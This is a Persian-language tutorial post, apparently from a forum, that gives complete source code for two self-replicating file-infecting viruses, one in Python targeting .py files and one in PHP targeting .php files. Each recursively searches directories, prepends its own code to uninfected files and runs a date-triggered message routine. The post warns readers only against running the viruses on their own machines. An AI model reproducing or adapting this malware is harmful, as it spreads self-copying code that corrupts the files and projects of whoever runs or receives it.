با سلام دوباره خدمت شما اعضای محترم.
توی این آموزش قصد داریم دوتا ویروس بسازیم.
ویروس اول رو با زبان پایتون میسازیم و ویروس دوم رو با php لطفا هیچ ویروسی رو روی سیستم خودتون اجرا نکنید حتی اگر بی ضرر باشد🙂
ویروس اول:
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
ویروس دوم:
<?php
define("SIGNATURE", "CRANKY'S PHP VIRUS");
// determine whether backslash or forward slashes are used
define("SLASH", stristr($_SERVER['PWD'], "/") ? "/" : "\\");
$linenumber = __LINE__;
define("STARTLINE",$linenumber-4);
define("ENDLINE",$linenumber+45);
function search($path){
$ret = "";
$fp = opendir($path);
while($f = readdir($fp)){
if( preg_match("#^\.+$#", $f) ) continue; // ignore symbolic links
$file_full_path = $path.SLASH.$f;
if(is_dir($file_full_path)) { // if it's a directory, recurse
$ret .= search($file_full_path);
} else if( !stristr(file_get_contents($file_full_path), SIGNATURE) ) { // search for uninfected files to infect
$ret .= $file_full_path."\n";
}
}
return $ret;
}
function infect($filestoinfect){
$handle = @fopen(__FILE__, "r");
$counter = 1;
$virusstring = "";
while(($buffer=fgets($handle,4096)) !== false){
if($counter>=STARTLINE && $counter<=ENDLINE){
$virusstring .= $buffer;
}
$counter++;
}
fclose($handle);
$filesarray = array();
$filesarray = explode("\n",$filestoinfect);
foreach($filesarray AS $v){
if(substr($v,-4)===".php"){
$filecontents = file_get_contents($v);
file_put_contents($v,$virusstring.$filecontents);
}
}
}
function bomb(){
if(date("md") == 0125){
echo "HAPPY BIRTHDAY CRANKY!";
}
}
$filestoinfect = search(__DIR__);
infect($filestoinfect);
bomb();
?>
پیشنهاد میکنم این ویروس ها رو روی سیستم خودتون اجرا نکنید چون ممکنه برخی از پرونده های شما رو آلوده بکنه و ما درقبال آن هیچ مسئولیتی نداریم.
باتشکر از شما.